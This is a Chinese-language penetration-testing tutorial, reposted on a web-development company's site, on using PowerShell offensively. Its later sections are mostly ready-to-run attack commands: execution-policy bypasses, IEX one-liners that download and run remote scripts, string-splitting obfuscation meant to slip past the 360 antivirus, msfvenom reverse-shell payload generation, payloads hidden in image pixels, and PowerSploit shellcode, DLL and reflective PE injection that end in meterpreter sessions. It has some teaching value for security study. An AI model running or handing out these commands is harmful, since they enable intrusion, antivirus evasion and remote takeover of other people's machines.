网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

网络安全工具团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 工具 > 网络安全工具 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

渗透测试技术之Powershell命令操作及使用方法大全

文章来源:重庆网络安全 发布时间:2020-01-16 10:12:05 围观次数:
分享到:

摘要:Powershell是一个功能强大的shell,它支持 NET,可以通过命令来操作Windows服务。 现在,它已广泛用于渗透测试和其他方面。 在不写入磁盘的情况下执行命令也可以逃脱Anti-Virus检测。

    与Linux的bash一样,Powershell是一个功能强大的shell,它支持.NET,可以通过命令来操作Windows服务。 现在,它已广泛用于渗透测试和其他方面。 在不写入磁盘的情况下执行命令也可以逃脱Anti-Virus检测。


语法


  | 管道字符用于将一个命令的输出作为另一命令的输入


  ; 分号用于连续执行系统命令


  &是呼叫运算符,可让您执行命令,脚本或功能


  双引号可以替换内部变量


  用双引号引起来的双引号,用单引号引起来的单引号,输出写两次


常用命令


  使用powershell满足标准的动词-名词组合,以帮助我们更快地理解。


  Get-Alias -name dir 获取别名名称目录


  ls env查看当前环境变量


  Get-ExecutionPolicy查看当前执行策略


  Set-ExecutionPolicy设置执行策略


  Get-Host获取主机视图Powershell版本


  Get-Content查看文件内容


  Get-Content test.txt显示文本内容


  Set-Content test.txt-Value “hello,word”设置文本内容


  Get-Process查看当前服务列表


  Get-Location获取位置


  Get-WmiObject -Class Win32_ComputerSystem |Select-object -ExpandProperty UserName查看登录到物理机的用户


执行策略


  powershell有六种执行策略:


  Unrestricted具有最高权限,可以不受限制地执行任何脚本


  Restricted 默认策略,不允许执行任意脚本


  AllSigned必须对所有脚本进行签名才能运行


  RemoteSigned Local脚本不受限制,但是必须对网络中的脚本进行签名


  Bypass无限制绕行和提示


  Undefined 未定义没有设置脚本的策略


  Set-ExecutionPolicy默认情况下禁用脚本执行。 除非管理员更改执行策略。 设置执行策略


有几种方法可以绕过执行策略:


  1.本地读取并通过管道字符运行


  powershell Get-Content 1.ps1 | powershell -NoProfile –

  2.通过IEX远程下载并运行脚本


 powershell -c “IEX(New-Object Net.WebClient).DownloadString(‘http://xxx.xxx.xxx/a.ps1‘)”

  3.绕过执行策略Bypass


 powershell -ExecutionPolicy bypass -File ./a.ps1

  没有警告和提示


  4.Unrestricted执行策略标志


  powershell -ExecutionPolicy unrestricted -File ./a.ps1

  运行从Internet下载的未签名脚本时的权限提示


  需要说明的是:


  Invoke-Expression(IEX的别名):用于将字符串作为命令执行。


  WindowStyle Hidden(-w Hidden):隐藏窗口


  Nonlnteractive(-NonI):非交互模式。  PowerShell不为用户提供交互式提示。


  NoProfile(-NoP):PowerShell控制台不会加载当前用户的配置文件。


  Noexit(-Noe):执行后不要退出shell。


  EncodedCommand(-enc):接受base64编码的字符串编码,以避免某些解析问题


bypass Anti-Virus


  如果考虑实际情况,假设我们已经获得了一个webshell。 在上述方法中,仅IEX可以被远程加载和运行,其余方法需要上载ps Trojan,然后绕过执行策略。


  msfvenom生成ps木马


  msfvenom -p Windows / x64 / meterpreter / reverse_tcp LHOST = 192.168.203.140 LPORT = 4444 -f psh-reflection> a.ps1

  但是某些杀毒软件在杀死powershell命令方面更加严格。 以360为例:


  在后一种情况下,您可以将绕过执行策略的命令修改为bat文件,然后再次运行它。 可以绕过360


  powershell -ExecutionPolicy bypass -File ./a.ps1

  将命令另存为c.bat并运行斩波器。

blob.png

对于IEX,这种直接运行的便捷方法将被360拦截。请尝试简单的语法更改。


  主要对DownloadString,http做一些处理。


  例如:


  powershell.exe 



$c1=’powershell -c IEX’;


$c2=’(New-Object Net.WebClient).Downlo’;


$c3=’adString(”http://192.168.197.192/a.ps1”)’;


echo ($c1,$c2,$c3)


  该命令被拆分为字符串,然后进行拼接。


  应当注意,双引号可以输出变量,两个单引号可以用于输出单引号。

blob.png

该命令已成功输出。 可以将Echo更改为IEX来运行,绕过360。

blob.png

您也可以使用替换,bypass


  powershell “$c1=’IEX(New-Object Net.WebClient).Downlo’;$c2=’123(”http://192.168.197.192/a.ps1”)’.Replace(’123′,’adString’);IEX ($c1+$c2)”

  您还可以绕过http字符,也可以绕过


  powershell “$a=’IEX((new-object net.webclient).downloadstring(”ht’;$b=’tp://192.168.197.192/a.ps1”))’;IEX ($a+$b)”

blob.png

直接在菜刀中运行后,实际测试还可以生成会话


  为了更好地在实战中使用,系统命令可以使用c,vbs,hta,python等语言执行,以达到绕过的效果。


  还编写了编码和混淆框架


  https://github.com/danielbohannon/Invoke-Obfuscation


  https://www.freebuf.com/sectool/136328.html

  还有一个脚本Invoke-PSImage.ps1,该脚本执行无Powershell脚本的杀死,该脚本主要将有效负载分散到图像的像素中,最后在远程执行时在重构的像素中执行有效负载。


  参考:https://github.com/peewpw/Invoke-PSImage

  使用时,您需要准备足够大的图片。 我使用1900 * 1200图片x.jpg。


  C:\>powershell


PS C:\> Import-Module .\Invoke-PSImage.ps1


PS C:\> Invoke-PSImage -Script .\a.ps1 -Image .\x.jpg -Out .\reverse_shell.png -Web

  a.ps1是msf木马,-Out生成reverse_shell.png图像,-Web输出从Web读取的命令。

blob.png

将reverse_shell.png移至Web目录并替换URL地址。 只需在powershell中运行它即可。

blob.png

加载shellcode,dll,exe


  在“网络安全攻击与防御”一书中,有一些方法可以使用PowerSploit脚本加载shellcode和dll来反弹meterpreter shell。 我把以前的笔记放在这里。


  1.加载shellcode


  msfvenom生成脚本木马


  msfvenom -p Windows / x64 / meterpreter / reverse_https LHOST = 192.168.72.164 LPORT = 4444 -f powershell -o / var / www / html / test

  在Windows目标上运行命令


  IEX(New-Object Net.WebClient).DownloadString(“http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-Shellcode.ps1“)


IEX(New-Object Net.WebClient).DownloadString(“http://192.168.72.164/test“)


  调用Shellcode -Shellcode($ buf)-强制木马

  使用Invoke-Shellcode.ps1脚本执行Shellcode


  反弹meterpreter shell

blob.png

2.加载dll


  使用msfvenom生成dll木马脚本


  msfvenom -p Windows / x64 / meterpreter / reverse_tcp lhost = 192.168.72.164 lport = 4444 -f dll -o /var/www/html/test.dll

  将生成的dll上载到目标C驱动器。 在目标上执行以下命令


 IEX(New-Object Net.WebClient).DownloadString(“http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-DllInjection.ps1“)

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden 

  创建一个新进程以启动记事本并将其设置为隐藏


  使用记事本调用-DllInjection -ProcessID xxx -Dll c:\ test.dll PID

  使用Invoke-DLLinjection脚本启动dll注入的新进程(无需杀毒软件)

blob.png

反弹meterpreter session


  3.载入exe


  msfvenom生成exe木马(不免杀)


  msfvenom -p Windows / x64 / meterpreter / reverse_tcp lhost = 192.168.197.195 lport = 4444 -f exe> /var/www/html/test.exe

  仍然是Powersploit的Invoke-ReflectivePEInjection.ps1脚本,该脚本可以直接加载exe来实现旁路。


  powershell.exe -exec bypass -c “IEX(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1‘);Invoke-ReflectivePEInjection -PEUrl http://192.168.197.195/test.exe   -ForceASLR”

  反弹meterpreter shell

blob.png

本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:渗透测试 Powershell 网络安全

上一篇:渗透测试经验分享:Redis+Getshell
下一篇:s3tk:用于Amazon S3的安全审核套件

热门资讯

鼠标向下滚动